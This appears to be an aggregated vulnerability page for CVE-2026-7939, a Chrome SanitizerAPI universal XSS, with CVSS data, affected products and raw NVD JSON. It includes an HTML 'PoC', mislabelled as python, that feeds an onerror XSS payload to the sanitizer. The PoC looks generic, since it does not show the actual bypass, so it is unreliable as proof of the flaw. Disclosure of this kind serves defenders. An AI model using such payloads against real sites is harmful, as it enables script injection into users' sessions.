Security Vulnerability Report
中文
CVE-2026-7939 CVSS 5.4 MEDIUM

CVE-2026-7939

Published: 2026-05-06 19:16:42
Last Modified: 2026-05-06 23:33:57

Description

Inappropriate implementation in SanitizerAPI in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to inject arbitrary scripts or HTML (UXSS) via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- // PoC for CVE-2026-7939: SanitizerAPI Bypass leading to UXSS // Description: This PoC demonstrates how a payload might bypass the SanitizerAPI. // In vulnerable versions (< 148.0.7778.96), the sanitizer fails to strip the malicious payload. --> <!DOCTYPE html> <html> <head> <title>CVE-2026-7939 PoC</title> </head> <body> <h3>SanitizerAPI Bypass Test</h3> <div id="output"></div> <script> // The malicious payload intended to be injected // Attackers may use specific HTML structures to confuse the sanitizer const dirtyInput = '<img src=x onerror=alert(1)>'; // Create a new Sanitizer instance const sanitizer = new Sanitizer(); try { // Sanitize the input for a div element const cleanFragment = sanitizer.sanitizeFor('div', dirtyInput); // Insert the sanitized content into the DOM document.getElementById('output').appendChild(cleanFragment); // If the alert(1) executes, the sanitizer failed to remove the onerror handler, // confirming the UXSS vulnerability. } catch (e) { console.error("Sanitization failed:", e); } </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7939", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:42.237", "lastModified": "2026-05-06T23:33:57.270", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in SanitizerAPI in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to inject arbitrary scripts or HTML (UXSS) via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/492963096", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}